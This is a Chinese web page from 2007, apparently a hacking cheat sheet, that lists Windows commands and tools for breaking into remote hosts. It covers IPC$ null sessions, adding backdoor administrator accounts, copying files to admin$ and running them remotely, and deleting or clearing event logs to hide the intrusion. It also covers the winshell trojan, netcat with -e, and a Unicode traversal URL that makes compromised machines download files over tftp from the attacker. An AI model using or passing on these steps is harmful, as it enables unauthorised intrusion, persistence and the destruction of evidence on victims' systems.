您的位置:虹彩科技网 网络安全技术 正文
 添加时间:2007-12-28 原文发表:2007-12-28 人气:196

本文章共1784字,分2页,当前第1页,快速翻页:
 


常用的几条net命令:

(与远程主机建立空管连接) net use \\ip地址\ipc$ "" /use:""

(以管理员身份登录远程主机) net use \\ip地址\ipc$ "密码" /use:"administrator"

(传送文件到远程主机winnt目录下)copy 本机目录路径\程序 \\ip地址\admin$

(查看远程主机时间) net time \\ip地址

(定时启动某个程序) at \\ip地址 02:18 readme.exe

(查看共享) net view \\ip地址

(查看netbios工作组列表) nbtstat -a ip地址

(将远程主机c盘映射为自己的f盘) net use f: \\ip地址\c$ ""/user:"administrator"

(这两条把自己增加到管理员组): net user 用户名 密码 /add

net localgroup administrators 用户名 /add

(断开连接) net use \\ip地址\ipc$ /delete

扫尾:

del c:\winnt\system32\logfiles\*.*

del c:\winnt\ssytem32\config\*.evt

del c:\winnt\system32\dtclog\*.*

del c:\winnt\system32\*.log

del c:\winnt\system32\*.txt

del c:\winnt\*.txt

del c:\winnt\*.log

 

一、netsvc.exe

下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务:

netsvc /list \\ip地址

netsvc schedule \\ip地址 /query

netsvc \\ip地址 schedule /start

二、opentelnet.exe

远程启动主机的telnet服务,并绑定端口到7878,例如:

opentelnet \\ip地址 用户名 密码 1 7878

然后就可以telnet到主机的7878端口,进入dos方式下:

telnet ip地址 7878

三、winshell.exe

一个非常小的木马(不到6k),telnet到主机的7878端口,输入密码winshell,当看到cmd>后,可打下面的命令:

p path (查看winshell主程序的路径信息)

b reboot (重新启动机器)

d shutdown (关闭机器)

s shell (执行后你就会看到可爱的“c:\>”)

x exit (退出本次登录会话,此命令并不终止winshell的运行)

cmd> http://.../srv.exe (通过http下载其他网站上的文件到运行winshell的机器上)

四、3389登陆器,gui方式登录远程主机的

五、elsave.exe

事件日志清除工具

elsave -s \\ip地址 -l "application" -c

elsave -s \\ip地址 -l "system" -c

elsave -s \\ip地址 -l "security" -c

执行后成功清除应用程序日志,系统日志,安全日志

六、hbulot.exe

开启win2kserver和winxp的3389服务

hbulot [/r]

使用/r表示安装完成后自动重起目标使设置生效。

七、nc.exe(netcat.exe)

一个很好的工具,一些脚本程序都要用到它,也可做溢出后的连接用。

想要连接到某处: nc [-options] hostname port[s] [ports] ...

绑定端口等待连接: nc -l -p port [-options] [hostname] [port]

参数:

-e prog 程序重定向,一旦连接,就执行 [危险!!]

-g gateway source-routing hop point[s], up to 8

-g num source-routing pointer: 4, 8, 12, ...

-h 帮助信息

-i secs 延时的间隔

-l 监听模式,用于入站连接

-n 指定数字的ip地址,不能用hostname

-o file 记录16进制的传输

-p port 本地端口号

-r 任意指定本地及远程端口

-s addr 本地源地址

-u udp模式

-v 详细输出——用两个-v可得到更详细的内容

-w secs timeout的时间

-z 将输入输出关掉——用于扫描时

八、tftpd32.exe

把自己的电脑临时变为一台ftp服务器,让肉鸡来下载文件,tftp命令要在肉鸡上执行,通常要利用unicode漏洞或telnet到肉鸡,例如:

http://ip地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机ip地址 get 文件名 c:\winnt\system32\文件名
 
本页地址

相关文章

防止黑客入侵ADSL的一些技巧
Win 2000远程控制的3种安全解决方法
如何防止ARP病毒反复发作
如何防止浏览器泄露密码
宽带网络安全与防护
局域网安全技术
三招防止USB接口泄秘
禁止IP地址非法修改的方法

相关评论


本文章所属分类:首页 网络安全技术